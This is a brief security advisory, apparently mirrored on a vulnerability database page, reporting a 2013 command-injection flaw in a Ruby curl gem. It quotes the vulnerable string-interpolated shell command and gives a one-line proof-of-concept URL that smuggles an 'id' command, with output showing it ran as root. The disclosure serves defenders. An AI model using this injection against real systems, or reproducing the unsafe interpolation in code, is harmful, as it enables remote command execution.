Lucene search
K

Ruby Gem Curl Command Execution

🗓️ 13 Mar 2013 00:00:00Reported by Larry W. CashdollarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Ruby Gem Curl Remote Command Execution via Specially Crafted URL

Code
`Curl Ruby Gem Remote command execution  
3/12/2013  
  
https://github.com/tg0/curl  
  
Specially crafted URLs can result in remote code execution:  
  
In ./lib/curl.rb the following lines:  
  
131 cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref} \"{url}\" "  
132 if @debug  
133 puts cmd.red  
134 end  
135 result = open_pipe(cmd)  
  
PoC:  
  
page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")  
  
larry@underfl0w:/tmp$ cat p  
uid=0(root) gid=0(root) groups=0(root)  
  
Larry W. Cashdollar  
@_larry0  
http://vapid.dhs.org   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation